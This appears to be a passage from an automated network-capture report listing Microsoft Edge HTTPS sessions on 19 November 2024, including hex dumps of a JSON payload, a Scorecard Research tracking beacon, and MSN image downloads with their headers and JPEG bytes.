2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-19 17:00:47 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49814	108.139.47.92	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	1012	OUT	GET /b2?rn=1732035645029&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2346E46F5BBE6A5B0188F1535AD96B1F&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=172dd52f68c30b46c60dd6f1732035647; XID=172dd52f68c30b46c60dd6f1732035647
2024-11-19 17:00:47 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Tue, 19 Nov 2024 17:00:47 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 80d5d65d27a0450c8f0018381b103d7a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P1 X-Amz-Cf-Id: k_3hdJmIHa0hH1WXz7tjOCbslYDBtmQdM25z-ItimZ0G2Evn9DrkQQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49817	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 15:00:48 GMT X-Datacenter: westus X-ActivityId: f56ff185-3ad6-4311-95ad-194a52089168 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA11MSkH X-Source-Length: 293132 Content-Length: 293132 Cache-Control: public, max-age=252156 Expires: Fri, 22 Nov 2024 15:03:23 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:47 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-19 17:00:47 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-19 17:00:47 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-19 17:00:48 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-19 17:00:48 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-19 17:00:48 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-19 17:00:48 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49818	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	634	OUT	GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:47 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msFQB Last-Modified: Mon, 28 Oct 2024 02:09:55 GMT X-Source-Length: 116349 X-Datacenter: eastap X-ActivityId: f2ff290f-82c6-4dc0-87ef-4eddf77d3861 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 116349 Cache-Control: public, max-age=421821 Expires: Sun, 24 Nov 2024 14:11:08 GMT Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
